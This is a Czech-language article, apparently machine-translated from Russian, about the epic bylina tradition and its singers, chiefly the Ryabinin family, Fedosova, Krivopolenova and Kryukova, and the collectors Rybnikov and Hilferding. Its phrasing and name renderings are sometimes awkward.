Vypravěči a sběratelé lidových písní. Vypravěč vypráví epos

V dobách prastarého starověku se objevily zvláštní písně. Mluvili o tom, co se stalo. Slovo „epos“, stejně jako „starožitnosti“ a „oldies“, se k nim přilepilo. V předpetrovské éře chodily po Rusovi davy zpěváků a vtipných lidí, místních i hostujících, mezi nimiž byli kostýmovaní muzikanti a bubáci v krátkých tunikách s děleným lemem. V jejich repertoáru se střídaly vtipné písně a vážné eposy o důležitých událostech a historické postavy. V eposech byli opravdoví historická fakta, odrážely myšlenky a pocity lidí, rysy starověku, které byly dávno zapomenuty.

Eposy byly provedeny zvláštním způsobem. Vypravěč, zpěvák epiky, uvedl posluchače svým „začátkem“ do patřičné nálady klidného a poklidného rozhovoru. Probíhal strunami, vyvolával v sobě i v posluchačích inspiraci a před provedením eposu vytvořil zvláštní náladu. Ve všech těchto „začátcích“ to nebylo ani tak verbální a poetické jako hudební techniku. Ale nyní je „začátek“ dokončen a zpěvák začíná obsah eposu.

Jaký význam mají eposy pro ruskou literaturu?

Historické, hrdinské, hrdinské, sociální eposy obohatily ruskou literaturu. Tato díla, zbavená všeho umělého a neskutečného, nám přinesla rysy dávných epoch, rysy tak drahého starověku.

Epos, tato neocenitelná zkušenost lidové umění, pomohl rozplést ty nejsložitější uzly historie, nekompromisně zobrazující život ve všech jeho nejakutnějších konfliktech, zvratech a událostech.

Eposy byly základem pro výskyt děl hrdinské a historické povahy v literatuře.

Jaký význam mají pro nás eposy?

Eposy se k nám dostaly spolu s těmi přikázáními, tradicemi a rituály, které byly na Rusi před tisíci lety. Mají dokumentární hodnotu. Mír a boj, zvyky a život každodenní život vytvořili základ epické kreativity. Právě z eposů se dozvídáme o tom, jak žili naši předkové, Rusové, jak hospodařili, co se o ně staralo a co je trápilo.

Eposy nám vyprávějí o nejlepší příklady- jak sloužit vlasti, bránit ji, jak se na to připravit zbraň, jak pěstovat vytrvalost a odvahu.

Právě z písňových příběhů a eposů můžeme čerpat informace o hrdinských skutcích válečníků, o věrnosti vojenské povinnosti, o touze lidí po všem mimořádném, výjimečném a barevném.

Z eposů se dozvídáme o starý Rus, o struktuře měst, o ruském hrdinství.

O epických vypravěčích

Epické vypravěče jsou zvláštní lidé. Bylo zjištěno, že některé eposy, které zpívali, neznají zpaměti, to znamená, že nedokážou zopakovat starý epos slovo od slova. V každém novém opakování eposu, který už jednou zpívali, zavádějí nové techniky provedení: nyní představují ten či onen detail, nyní jej vynechávají, nyní upravují jednotlivé verše, nyní protahují, nyní stlačují. Epos přitom neztrácí generál, je nejen naučen, zkostnatělý ve zpěvákově paměti, naopak jeho role v eposu je role volného improvizátora, do detailu rozvinutá, ale již připravené téma. Postřehy ke skladbě eposu vedou ještě dále do tajů této improvizace, kde jsou naši vypravěči do jisté míry tvůrci eposů.

Strážci ruského starověku, nositelé historická paměť Lidé byli ruští vypravěči (umělci eposů) a vypravěči. Přenesli na posluchače originalitu lidová poezie, byly duše, zdroj jasných, veselých nálad toho, kdo je poslouchal. Každý z nich měl svůj vlastní styl vystupování. Každý z nich měl svůj vlastní individuální vlastnosti. Mezi vypravěči jsou bohatě nadané poetické povahy s obrovskou tvůrčí fantazií. Někteří lidoví vypravěči inklinovali fantastické obrázky, ostatní - do každodenní obrazy, ještě jiní - k vtipům a biflování. Představujeme stručné informace o jednotlivých interpretech ústního lidového umění.

Jednou z nejvýraznějších postav mezi vypravěči 19. století je Trofim Grigorievič Rjabinin, rolník z vesnice Seredka, Kizhi volost, provincie Olonets. Narodil se ve vesnici Garnitsy v Sennaya Guba na počátku 90. let 18. století a zemřel v roce 1885. Brzy ztratil rodiče (jeho otec padl ve válce, matka zemřela rok poté, co otec odešel do vojenská služba). Jako teenager začal Rjabinin chodit po okolních vesnicích opravovat sítě a další rybářské potřeby. V této práci se setkal s Iljou Elustafjevem, který se také podílel na opravách sítí a který se stal prvním učitelem T.G. Rjabinin na poli epického umění. Následně Trofim Grigorievich žil jako zaměstnanec svého strýce Ignatia Andreeva, rovněž vynikajícího zpěváka eposů. Převzal také eposy od jiných mistrů. Ze všech olonetských vypravěčů 19. století T.G. Rjabinin dal největší počet epos P.N. Rybnikov od něj v 60. letech nahrál 18 textů, A.F. Hilferding v letech 1871 - 23 celkem je známo od Trofima Rjabinina 26 epických příběhů o celkovém objemu až 6000 veršů. Jako umělec eposů lze Trofima Ryabinina nazvat jedním z nejlepších představitelů ruského klasického epického stylu. Byliny T.G. Ryabinin se vyznačují živými obrazy a bohatě zdobenými. Byl velkým mistrem ve výběru a aplikaci všech vizuální umění, plně v souladu s epickými „rituály“, tradiční epické techniky se vyvíjely po staletí, ale využívaly je svobodně a kreativně, s velkým umělecký takt. Ne nadarmo se mnohé texty T.G. Rjabininovy básně vždy byly a jsou zahrnuty jako nejlepší příklady epické tvořivosti v antologiích a antologiích a právě z jeho eposů byly vždy převzaty příklady charakterizující hlavní rysy epického stylu.

Vysoká umělecká dovednost T.G. Rjabinina, který ho odlišuje od mnoha dalších vypravěčů z Oněžské oblasti, zaznamenali oba sběratelé, kteří jeho eposy zaznamenali. P.N. Rybnikov říká, že během představení eposů Rjabinina musel nejednou upustit pero a dychtivě naslouchat příběhu: „Každý předmět se objevil v jeho skutečném světle, každé slovo dostalo svůj vlastní význam. "Úžasná schopnost mluvit dávala každému verši zvláštní význam." 1

P.N. O Rjabininově velkém osobním kouzlu hovoří i Rybnikov, který Trofimu Rjabininovi věnoval několik stránek ve své vynikající eseji o vypravěčích: „V jeho přísném pohledu, držení těla, úkloně, kroku, v celém jeho vzhledu byla na první pohled patrná klidná síla a zdrženlivost. .“ 2

Jiný typ vypravěče představuje slavný olonecký zpěvák eposů téže doby Vasilij Petrovič Ščegolenok.

Elegantní chlapec byl o více než deset let mladší než T.G. Rjabinina. Jeho domovinou je vesnice Boyarshchina ve stejném Kizhi volost. Epické vyprávění se naučil částečně od svého dědečka, ale hlavně od strýce Timofeyho. Ten, beznohý invalida, žil se svým bratrem - Šchegolenokovým otcem. Od svého strýce se Dapper vyučil také obuvnickému řemeslu, kterému se věnoval vedle farmaření.

V.P. Shchegolenok je vypravěč s výrazným improvizačním nádechem. Od něj k různé časy a 14 eposů bylo zaznamenáno různými sběrateli; 10 z nich je zaznamenáno v několika verzích, což jasně ukazuje, že Goldfinch neměl jedinou stabilní verzi stejného spiknutí. Pokaždé zazpíval tentýž epos úplně jinak, změnil nejen jednotlivá místa, ale celý text jako celek.

Na rozdíl od T.G. Ryabinin, který dal výjimečně harmonické a jasné kompozice, Shchegolenok komplikované eposy s motivy a epizodami z jiných eposů, rád kombinoval různé příběhy. Přes veškerý svůj kreativní, inovativní přístup k materiálu zůstal Rjabinin věrný lidové tradici. Fop od ní často ustupoval. Dal dohromady epické hrdiny, kteří se obvykle nikdy nepotkali, a nahradil tradiční hrdiny jinými epickými jmény.

Ščegolenokovy eposy postrádají jasný rytmus, který charakterizuje Rjabininovy texty. I když Shchegolenok vždy zpíval své eposy, v jejich stylu a kompozici je patrný příklon k volnějšímu vyprávění blížícímu se prozaice. Bylo to očividně dáno tím, že byl především vypravěčem příběhů. Stehlík zpíval eposy podle Hilferdinga „ne nahlas, ale docela příjemně, i když už senilním hlasem“. 3

V 90. letech 19. století začal syn Trofima Rjabinina vystupovat mimo svou rodnou zemi - Ivan Trofimovič Rjabinin. Nejednou přijel do Petrohradu a Moskvy; Vystupoval i v dalších městech a v roce 1902 podnikl svou slavnou cestu k jižním Slovanům.

Ivan Trofimovič Rjabinin patřil na rozdíl od svého otce k té kategorii vypravěčů, kteří při zvládnutí eposu neukázali nezávislou kreativitu. Nevyvíjeli nová, vlastní vydání, ale zcela přijali text od svého učitele. Možnosti I.T. Rjabinin se jen málo liší od textů svého otce. Při vystupování provedl jen drobné změny - nepodstatné přeskupení epizod, nahrazení jednoho slova jiným atd. Je příznačné, že eposy Ivana Trofimoviče mají blíže k textům Trofima Rjabinina v Rybnikovově nahrávce než k pozdějším vydáním Hilferdingu. V důsledku toho, když Ivan Rjabinin v mládí převzal eposy od svého otce, pevně a pečlivě uchoval získané dědictví a vyhnul se dokonce i variacím, které zavedl jeho otec. Při svých vystoupeních vždy důrazně protestoval proti požadavkům zkrátit text, zazpívat jen jeho část nebo vyhodit „nevhodné pasáže“. Podle memoárů současníků I.T. Rjabinin byl vynikajícím umělcem, jeho zpěv eposů měl vždy velký dojem.

Repertoár Ivana Trofimoviče byl poměrně rozsáhlý, i když v tomto ohledu byl horší než repertoár jeho otce. Znal 16 zápletek eposů a starších historických písní. Bohužel je od něj známo pouze 6 zaznamenaných příběhů.

Na počátku 20. století se objevily první zprávy o křičícím a vypravěči Nastasya Stepanovna Bogdanova (Zinovieva) z vesnice Konda v Zaonezhye. Během těchto let N.S. Bogdanova vystoupila na pozvání ve školách a dalších institucích v Petrozavodsku.

Doba rozkvětu N.S. Bogdanova jako vypravěčka se datuje do první čtvrtiny 20. století. V letech 1900 z ní pořídil záznamy N. Shaizhin a později členové expedic Státní akademie umělecké vědy A Státní ústav dějin umění v roce 1926 a následujících letech. N.S Bogdanov v roce 1937.

Znalosti N.S. Bogdanova v oblasti lidové poezie byly mimořádně všestranné. Kromě epiky byla velkou mistryní starověkých pověstí a lidových lyrických písní, znala pohádky, duchovní básně, hádanky; její řeč byla poseta příslovími a rčeními. Ze všeho nejvíc milovala eposy a byla hluboce přesvědčena o historické přesnosti jejich obsahu. Její epický repertoár je malý - pouze 10 eposů. Její texty se však vyznačují velkou originalitou.

Kdyby Rjabininové byli hlavně mistři hrdinský epos, pak N.S. Bogdanova pěstovala zejména eposy s romantickým a rodinně-domácím obsahem (o nevydařeném manželství Aljoši Popoviče, o Dunaji, o Churile a nevěrné manželce Permjaty atd.), čímž pokračovala a rozvíjela další linii epické tradice Oněžské kraj. V eposech Nastasya Stepanovna pečlivě rozvíjela dialogy a detaily jednotlivých epizod, posilovala psychologické aspekty a umělecké popisy. Speciálně vyvinut byl její nejoblíbenější epos - o Dobrynyi a Aljošovi, který patří k nejlepším adaptacím této zápletky.

Vypravěčská činnost třetího představitele slavného vypravěčského rodu, Rjabininů, sahá až do první čtvrtiny 20. století - Ivan Gerasimovič Rjabinin-Andreev, nevlastní syn Ivana Trofimoviče. Ivan Gerasimovič zdědil své epické znalosti od svého nevlastního otce, se kterým žil až do svých 23 let. Následně se Ivan Gerasimovič stal významným mistrem epického umění. Záznamy Ivana Gerasimoviče z roku 1921 ukázaly, že téměř kompletně převzal epický repertoár svého nevlastního otce (pouze eposy o Khotenovi a dvou historické písně- o Ivanu Hrozném a Skopinovi). Převzal také melodie od svého nevlastního otce, které se také vrací k Trofimu Rjabininovi, a to je vše charakteristické rysy provedení.

Ivan Rjabinin, stejně jako jeho otec a děd, patřil k představitelům klasického stylu epického představení. Vždy zpíval své eposy a jejich texty se vyznačují jasným a přesným rytmem. Všechny hlavní ideové a umělecké Rysy, kterými se vyznačovaly eposy staršího Rjabinina, odlišují i texty Ivana Gerasimoviče: zvláštní důraz na hrdinskou linii a zároveň zájem a pozornost k sociálním aspektům, jasnost hlavní myšlenky a sociální myšlenka, přísně udržované obrazy hrdinů a jejich nepřátel, úplnost a umění popisů, harmonie a jasnost kompozice. I.G. Rjabinin-Andreev je citlivý a přemýšlivý strážce rodinné epické tradice. Změny, které provedl, se projevily pouze v přechodu od jednoho eposu k druhému některých popisů, slovních formulí, „všedních míst“, v určité aktualizaci slovní zásoby a také ve znatelném posílení dialogu. V podstatě nejenom vývoj zápletky eposy, ale také uměleckou slovesnou tkaninu vyvinutou starším Rjabininem. Ivan Gerasimovič zemřel v roce 1926.

Vynikající vypravěč konec XIX a na začátku 20. století tam byl také bělomořský umělec eposů Agrafena Matveevna Kryukova(1855-1921). Celý její obrovský repertoár (60 textů eposů a historických písní) nahrál již v 00. letech 20. století A.V. Markov, když bylo vypravěči 45 let. Epický repertoár A.M. Kryukova je složitá jak ve složení, tak ve svém původu. Odráží dva místní tradice- Terské pobřeží, odkud pocházela vypravěčka, a Zimnyaya Zolotitsa, kde se provdala. Jejími učiteli doma byli především její matka a její milovaný strýc z matčiny strany Efim Strelkov; Navíc se učila od jiných starých lidí, stejně jako od svých přátel. V Zimnyaya Zolotitsa, kde bylo provádění eposů běžnou každodenní záležitostí, převzala eposy od svého tchána Vasilije Leontyeviče, jeho bratra Gavrily a dalších starých lidí. Své znalosti si dále rozšiřovala později, dokonce se učila od svých dcer Marty a Pavly. Přitom skladba a povaha repertoáru A.M. Kryukova byla nepochybně ovlivněna vydáváním eposů z jiných regionů, které do vesnice pronikaly v různých levných vydáních od konce 19. století. Protože byla Agrafena Kryuková negramotná, ráda poslouchala čtení a učila se nové eposy buď přímo z knihy, nebo od jiných vypravěčů v rodině, kteří si doplňovali své epické znalosti z knih.

Nahráno z A.M. Kryukovy eposy a historické písně celkem přesahují 10 000 veršů.

Agrafena Matveevna zpívala všechny své eposy, podle Markova, „spíše slabým, ale příjemným hlasem, přičemž dobře zachovala poetický metr. Většinu eposů provedla na stejnou melodii.

Život A.M. Kryukova, tato vynikající, nadaná básnířka, byla smutná. V velká rodina Kryukov, zastávala podřízenou, závislou pozici a hodně trpěla útlakem způsobeným staršími ženami v rodině. Během americko-britské intervence musela Kryukova zažít chudobu a hlad, což ji přivedlo do hrobu (zemřela v roce 1921). Její talent a znalosti zdědily dvě její dcery - Marfa Semjonovna a Pavel Semjonovna, především první, nejstarší a především její matkou milovaná.

Lze jmenovat mnoho dalších vynikající umělci Ruský epos. Nadaný ruský lid dal národní kultuře řadu talentovaných mistrů epického umění, kteří byli strážci poetického dědictví minulosti a přispěli svými tvůrčí přínos do společné pokladnice lidové poezie. Byli představiteli národních ideových a uměleckých směrů a silou svého talentu prohlubovali a zdokonalovali to, co lid vytvořil. Vypravěči přinesli největší obrazy ruského eposu, ztělesňující myšlenky vlastenectví a lidskosti. nejlepší vlastnosti lidí, jejich vysoká estetika a morální ideály. (Podle článku A.M. Astakhova „Vypravěči eposů, jejich umělecké dovednosti“ // Ruská lidová poetická tvořivost. - M.; L., 1956. - T.2. - Kniha 2.)

Móda lidové poezie vznikla na konci 19. století v Moskvě a Petrohradu. Sběratelé folklóru začali lovit nositele starožitností a často je vytrhávali přírodní prostředí. V důsledku toho se osudy mnoha vypravěčů nenapravitelně změnily – a ne vždy k lepšímu.

Rjabininská rodina vypravěčů. Fotografie byla pořízena moskevskou expedicí Státní akademie věd o umění. Vedoucím výpravy je profesor Jurij Sokolov. 1926 Rjabinins: Marfa, Alexey Michajlovič, Olga Ivanovna, Anna Mikhailovna, Kirik Gavrilovič, Vasilij Michajlovič, Michail Kirikovich, Taťána, Marya Kirikovna (Sarafanova), Agropena Petrovna. Kizhi Museum-Reserve

Dynastie Ryabinin

„V ruském folklóru snad neexistuje žádné jiné jméno, které by bylo obklopeno takovou ctí a respektem jako Rjabininové. Několik generací této slavné dynastie se stalo chloubou národní kultury.“

Taťána Grigorjevna Ivanová."vypravěči"

Trofim Grigorievich Rjabinin (1791-1885)

Na prvního z vypravěčů starověrecké dynastie Rjabininů narazil slavný ruský etnograf Pavel Nikolajevič Rybnikov, tehdy ještě exilový student, na cestách po Olonci.

Trofim Grigorievič Rjabinin. Rytina Lavrenty Seryakov„Kniha o kyjevských hrdinech. Soubor 24 vybraných eposů starověkého Kyjevského eposu.“ 1876

Trofim Grigorievich Rjabinin se narodil v roce 1791 poblíž Kizhi, brzy zůstal sirotkem a živil se na úkor rolnické komunity. Svůj budoucí repertoár – 26 zápletek – si začal osvojovat jako teenager při studiu v artels. Rjabinin, který neměl svůj vlastní domov, odešel jako kněz do domu otce své manželky a později byl velmi hrdý na to, že postupně získal vlastní domácnost, postavil se na vlastní nohy a po smrti svého otce se dokonce stal hlavou rodiny své ženy. tchán. K tomu si musel kromě svého hlavního zaměstnání – hospodaření na orné půdě – vydělávat rybolovem. Když ho tedy další slávista, který Rjabinin navštívil, A.F.Hilferding, vzal v roce 1871 do Petrohradu, ukázalo se, že už byl v hlavních městech kvůli rybářství.

Na mluvení na veřejnosti Rjabinin v zaplněném sále Rusa Zeměpisná společnost byl přítomen i její předseda velkovévoda Konstantin Nikolajevič. Po představení předal princ vypravěči stříbrný pohár ve staro ruském stylu a sto rublů. O rok později byl Trofim Rjabinin nominován na medaili „Za užitečné“, čímž se stal jedním z prvních rolníků, kteří obdrželi vládní vyznamenání.

Trofim Grigorievich se aktivního používání fonografu nedožil, Musorgskij však nahrál několik eposů ze svého repertoáru svým hlasem a použil je v poslední scéně „Boris Godunov“ a texty byly zařazeny do školních antologií.

Ivan Trofimovič Rjabinin (1845-1910)

22 let po triumfu Trofima Rjabinina v Petrohradu našel jeho syna Ivana a přivezl ho na turné do Petrohradu petrozavodský učitel Vinogradov. Desítky vystoupení před různým publikem, záznam na fonograf, hluk a úspěch matou Starověřící s přísnými pravidly. Ivan Trofimovič to myslí vážně, nepije víno, nekouří, během půstu jí zelí a kvas a chodí s vlastní sklenicí v kapse. Ryabinin začal vydělávat dobré peníze na koncertech, ale brzy se unavený vrátil do vesnice.

Ivan Trofimovič Rjabinin. Vesnice Garnitsa, 1909 Kizhi Museum-Reserve

Uplynulo několik let - a byl znovu povolán, aby nahrával pro Chicago světová výstava, jsou zváni do světských salonů; Noviny o něm píší, Nicholas II sám a jeho žena ho poslouchají s textem v ruce, udělují mu medaili „Za píli“ a zlaté hodinky. Rjabinin je odvezen do Konstantinopole, Sofie, Vídně, Prahy, Varšavy, Bělehradu, Oděsy, Kyjeva (ten byl zvláště zajímavý pro Rjabinina, který tolikrát zpíval o „hlavním městě“); setkává se s velvyslanci, se samotným Chaliapinem. Rjabinin všechny obdivuje svou abstinencí, vždy používá svou lipovou lžíci, dřevěný hrnek a broušené sklenice, které mu dala manželka na cestu, aby se „nestal světským“. Několik let po triumfálním turné zemřel Ivan Trofimovič v rodná vesnice, téměř zapomenuto.

Ivan Trofimovič Rjabinin. "Volha a Mikula" Epos ruského severu. Vypravěči Ryabinins, nahrávka 1894 IRLI (Pushkin House)

Ivan Gerasimovič Rjabinin-Andreev (1873-1926)

Ivan Gerasimovič a Marfa Petrovna Rjabinin-Andreev se zetěm Afanasym Fedorovičem Voroncovem. Petrozavodsk, přibližně 1916 Kizhi Museum-Reserve

Folkloristé se s nevlastním synem Ivana Trofimoviče Rjabinina setkali v roce 1921, kdy se Petrohradský institut živého slova, který studoval živou řeč, obrátil k epickému dědictví a poslal do vesnice Garnitsy pro I. T. Rjabinina. Sám Ivan Trofimovič v té době již dávno zemřel, ale zaměstnanci ústavu se podařilo přivést do Petrohradu Rjabinina-Andreeva, který v té době již dvakrát pracoval v závodě Izhora v Kolpinu a sloužil sedm měsíců na frontách 1. světové války a vrátil se do obce. Příbuzní si pamatují, jak ho ještě dříve opakovaně zvali, aby vystoupil v Petrohradu a Moskvě se sousední vypravěčkou Bogdanovou-Zinovievovou, ale Ivan Gerasimovič takové nabídky odmítl - nechtěl „dělat tento obchod se ženami“.

Během několika měsíců, které strávil v Petrohradě, bylo od něj natočeno 15 eposů, které se od ostatních lišily tím, že byly pouze zpívané, ale nikdy nemluvené. Bylo zamýšleno pokračovat ve spolupráci s Rjabininem-Andreevem, ale když expedice v roce 1926 znovu navštívila jeho rodnou vesnici, už nežil.

Ivan Gerasimovič Rjabinin-Andreev. "Dobrynya a Marinka" Epos ruského severu. Vypravěči Ryabinins, nahrávka 1921 IRLI (Puškinův dům)

Petr Ivanovič Rjabinin-Andreev (1905-1953)

Petr Ivanovič Rjabinin-AndreevÚstav jazyka, literatury a historie KarRC RAS, 2008-2014

Protože během svých cest za Ivanem Gerasimovičem si vědci konečně vzpomněli na cestu do Garnitsy, věděli již dobře o existenci dědice jeho talentu, syna Petra, a od dětství ho obklopovali etnografickou pozorností: malá Petya hrála epos „Volga a Mikula“ ve věku šesti let a ve 20 letech již vystupoval před velkým metropolitním publikem. Na úsvitu své slávy byl o polovinu mladší než jeho kolegové, což vyvolalo nesouhlasné reakce – „mladý a nemotorný“. Petr Ivanovič se ukázal jako dobrý improvizátor: v případech, kdy ho nějaká událost zasáhla, vytvořil pomocí starodávných vzorců svá vlastní díla - například pláč pro svého mrtvého bratra. A protože doba si žádala nové věci, přišli za ním noví sovětští etnografové s objednávkami na moderní témata. Folkloristka M.I. Kostrova vzala Pjotra Ivanoviče do Muzea Rudé armády, zásobila ho materiály o Chapaevovi, Stalinovi a straně, promítala filmy, v jejichž důsledku se zrodily nové filmy, opakovaně hrané autorem a přetištěné v tisku. Sám Rjabinin-Andreev byl však sám se sebou nespokojen a později, když relevance těchto děl pominula, se o takovém psaní nikdy nezmínil. Po válce dostal osobní důchod, byt v Petrozavodsku a byl přijat za člena Svazu spisovatelů – ale jeho zájem o vyprávění vyprchal a ve městě nemohl najít nic, co by mohl dělat. V posledních letech pracoval jako hlídač na hřbitově, pil a chodil s peticemi za vydání sbírky eposů a považoval se za nedoceněného. Říkají, že do té doby se jeho povaha velmi zhoršila, i když vždy s radostí souhlasil s přednáškami a projevy před studenty. Pyotr Ivanovič zemřel před dosažením padesátky.

Petr Ivanovič Rjabinin-Andreev. "Dobrynya a had" Epos ruského severu. Vypravěči Ryabinins, nahrávka 1926 IRLI (Pushkin House)

Irina Andreevna Fedosova (1827-1899)

"Setká se moderní čtečka s obrazem křičící ženy Iriny Fedosové a odkazem na knihy M. Gorkého. Spisovatel jí věnoval dvě eseje. M. Gorkij také umístil „nahnutou stařenu“ na stránky svého kronikářského románu „Život Klima Samgina“.

Taťána Grigorjevna Ivanová.
"vypravěči"

Irina Andrejevna Fedošová. Portrét E. Mrozovské. 1897 Wikimedia Commons

Fedosova je známá nejen jako vypravěčka, ale také jako nejlepší nářek v Zaonezhie - její svatební, pohřební a rekrutské nářky měly na posluchače neuvěřitelný dopad. Vyprávějí, jak byla Fedošová v letech své zvláštní popularity pozvána, aby vystoupila v bohatém domě, kde ji paní ze společnosti požádala, aby zazpívala nářek pro svou dceru, která byla naživu, ale opustila dům v důsledku rodiny. konflikt. Stařena děvče tak oplakala, že matka omdlela a zbytek diváků vzlykal. Gorkij psal o Fedosově básnickém talentu, Chaliapin mluvil láskyplně; několik nářků v „Kdo žije dobře v Rusku“ bylo zkopírováno z jejích „autorských“ nářků a ona sama se stala prototypem Nekrasovovy Matryony Timofejevny; jejími texty se inspirovali umělci a skladatelé. Fedošová přitom polovinu života prožila jako žebračka, byla negramotná a vše, co věděla, si uchovávala v hlavě. Za peníze, které vydělala svými vystoupeními, postavila ve své rodné vesnici školu a požádala učitele: „Učte více dívek, dívek.“

Současníci zaznamenali jasná gesta vypravěče a potomci ji nazývali národní básnířkou a Akhmatovou devatenáctého století. Krátce před svou smrtí byla Irina Andreevna pozvána, aby vystoupila v Americe, ale odmítla s odkazem na zdravotní důvody.

Irina Andrejevna Fedošová. „Holubí kniha“ („Co v osmém roce, v osmém roce...“) IRLI (Puškinův dům)

Maria Dmitrievna Krivopolenova (1843-1924)

"Život M. D. Krivopolenové je poněkud podobný osudu I. A. Fedosové - stejné útrapy v první polovině jejího života a nečekaná celoruská sláva ve stáří."

Taťána Grigorjevna Ivanová."vypravěči"

Maria Dmitrievna Krivopolenova. Fotografie z 10. let 20. století Základní elektronická knihovna "Ruská literatura a folklór"

Marii Dmitrievnu Krivopolenovou otevřela široké veřejnosti Olga Erastovna Ozarovskaya, multitalentovaná chemička a kabaretiérka. V létě 1914 Ozarovskaja zahájila každoroční výlety na ruský sever se svým synem, psem a gramofonem za dojmy a doplnění repertoáru, stejně jako při hledání nových oratorických technik v prostředí. lidová řeč. Tam, „sbírala slovní perly“, potkala starou Pinegovou žebráčku. Krivopolenová převzala svůj repertoár od svého dědečka, který chodil po moři. Pak se neúspěšně vdala - manžel pil a nechal svou ženu bez centu a dům byl bez střechy a Marya Dmitrievna často chodila kolem sousední vesnice za almužnu, i když už se stala slavnou. Ozarovskaya přivezla svou babičku do Moskvy, kde nejprve viděla místa, kde se odehrává děj mnoha eposů, a poté ji provedla dlouhou cestu po celé zemi. O čtrnáct let později Boris Pasternak vzpomínal na jeden z těchto koncertů v dopise Ozarovské: „Pak jste s péčí obdarovanou darem poprvé vedl starou ženu Krivopolenovou za ruku jako dítě. Bylo to v Polytechnické muzeum, stejná péče ti řekla, že by bylo lepší než jeviště, aby se tento hlas, pamatující Ivana Hrozného, vyvalil z kraje, který jej tvořil, a bez přemýšlení jsi toho všeho okamžitě dosáhl. Rozptýlil jsi se po publiku, jako bys to měl všechno v hrsti, hromada netrpělivých Olonců plácala.“ Po úspěšném turné byla babička na nějakou dobu zapomenuta, a když si znovu vzpomněli, na žádost stejné Ozarovské se jí zúčastnil lidový komisař pro vzdělávání Lunacharsky. O „státní babičku“ se na jeho žádost osobně staral, dostala příspěvek a vše potřebné a v roce 1921 byla povolána do Moskvy. Očitý svědek A. A. Morozov hovoří o setkání mezi Krivopolenovou a Lunacharským:
„...Krivopolenov se těšil na setkání s Lunacharským. Nemohl k ní ale hned přijít. A babička na něj trucovala. A když konečně dorazil a šli zavolat babičce, odpověděla: "Ještě jsem nedokončila pletení punčochy." Šli zavolat podruhé: "Až bude čas, přijdu." Čekal jsem déle." - A čekajíc potřetí - jak bylo za starých časů zvykem - přísně vyšla a uklonila se od pasu. Brzy babička odešla - zpívala písničky a vyprávěla pohádky. Lunacharsky zůstával dlouho do noci vzhůru.<…>Krivopolenová po jeho odchodu řekla: „Zřejmě dobrý člověk. Musíme mu uplést nějaké rukavice." Krivopolenová také navštívila Lunacharského; vypil sklenici a požádal o „odstranění hanby“ - portrét Isadory Duncanové.   V červenci 1921 se Krivopolenová vrátila domů do Pinegy, kde o tři roky později zemřela mezi lidmi, s nimiž požádala o přenocování. poslední dech

pokračovat ve zpěvu. IRLI (Puškinův dům)

Maria Dmitrievna Krivopolenova. „Ilya Muromets a netvor“ (začátek)

Timofey Turuev, roky života neznámé

"Naše písně, naše příběhy o zkušenostech jsou ostřejší než kulka, silnější než ocel, ostrý bajonet - zpívá kolektivní farmář z Karelo-finské SSR T. Turuev."

Jedinečný dvojjazyčný vypravěč Timofey Turuev zpíval eposy se stejným úspěchem v ruštině i ve svém rodném karelském jazyce a přepínal přímo během představení. Sběratelé však poznamenali, že Turuev volně nakládá se zápletkou a často z ní uvolňuje celé kusy podle svého vkusu. Turuevovým hlavním zaměstnáním byly překlady ruských eposů do karelštiny; je také známý několika novinkami: „Stalinův případ“, „Bylina o Stalinovi“ atd.:

Udělal své velké činy:
Postavil obrovské závody a továrny,
v továrnách jsou stroje s automaty,
a tady na vesnici, v JZD
Křivá borovice si šla odpočinout.
("Stalinův případ")

A Joseph Vissarionovič říká
Pro našeho soudruha Vorošilova:
„Ach ty, Klimenty Svet-Efremoviči!
Jdete po pravé straně
S jeho statečným oddílem
Porazte Denikinovu nepřátelskou sílu,
Pojedu do města Tsaritsin
jasné rovné cesty."
("Bylina o Stalinovi")

V roce 1941 byl vypravěč přijat do Svazu spisovatelů Karelo-finské SSR.

Na ruském severu se interpretům eposů a jiných epických děl říkalo vypravěči.

Zájem o osobnost vypravěče se objevil na počátku 60. let 19. století. poté, co začaly vycházet „Písně sebrané P. N. Rybnikovem“. V roce 1861 vyšel jejich první díl. Vydalo 88 eposů a dalších epických písní (včetně variant), které byly shromážděny v provincii Olonets, tedy nedaleko Petrohradu. Na svazku bylo uvedeno, kde a od koho byly záznamy pořízeny.

Poskytnuté informace však neuspokojily milovníky lidové poezie: někteří pochybovali o pravosti publikovaných děl. V roce 1864 třetí část „Písně...“ obsahovala „Zápis od sběratele“, ve kterém Rybnikov stručně nastínil stav epické tradice Oněžské oblasti, hovořil o svých setkáních s vypravěči, jejich životních podmínkách, zaměstnání. a repertoár. Někdy ze slov svých současníků citoval informace o talentovaných zpěváků minulost. V řadě případů sběratel poznamenal, od koho vypravěč přijal ten či onen epos, kdo byl jeho učitelem.

Cenné jsou Rybnikovovy postřehy k melodiím eposů. Napsal: „Nápěvy eposů jsou docela monotónní: například Rjabinin je má ve skutečnosti dvě, ale odposlechy a kolena hlasu dávají každému eposu zvláštní charakter. ve „Potyce je jaksi truchlivější“ a ve „Volze a Mikulušce“ působí slavnostně. Natahovaná melodie zní odvážně ve „Dva princích z Kryakova“ a „Ilja Muromec“ a v „Ilja a Palenica“ se stává hrozivou. Kozma Ivanov Romanov má také tři nebo dvě melodie a celý jeho zpěv je jen na tři tóny, ale vibrace jeho hlasu mu překvapivě pomáhají zpestřit melodie.

Zřejmě zcela bezdůvodně stařík najednou zrychlí zpěv a jakoby se mu rozdělí hlas, ale přijde mu to dokonale a obsahově zcela ladící.<...>The Bottle má stejnou melodii pro všechny eposy.<...>Obecně jsem nyní dospěl k závěru, že nápěv pro epiku je v současné době téměř stejný; čím je zpěvák zručnější, tím více ví, jak to zpestřit; Je velmi těžké asimilovat hlas nějakého starověku se všemi jeho odstíny, protože jeho zpěv je neustálá improvizace v jednom režimu.“

V roce 1871 do stejné provincie Olonets. Šel A.F. Hilferding. Napsal: „Dlouho jsem chtěl navštívit náš Sever, abych si udělal představu o jeho populaci, která stále žije v éře primitivního boje proti nepřízni nepřátelské povahy provincie Olonets touhou vyslechnout si alespoň jednoho z těch úžasných rapsodistů, které zde našel P.N.<...>Cestu jsem si zařídil tak, abych navštívil oblasti, které mi pan Rybnikov označil za bydliště nejlepších „vypravěčů“... „Hilferding se dva měsíce setkal se 70 vypravěči a natočil 318 eposů a dalších epické písně od nich.

Hilferding byl první, kdo sestavil sbírku repertoáru vypravěčů a přednesl ji stručnými životopisnými informacemi. Tím zahájil studium kreativní osobnost ve folklóru.

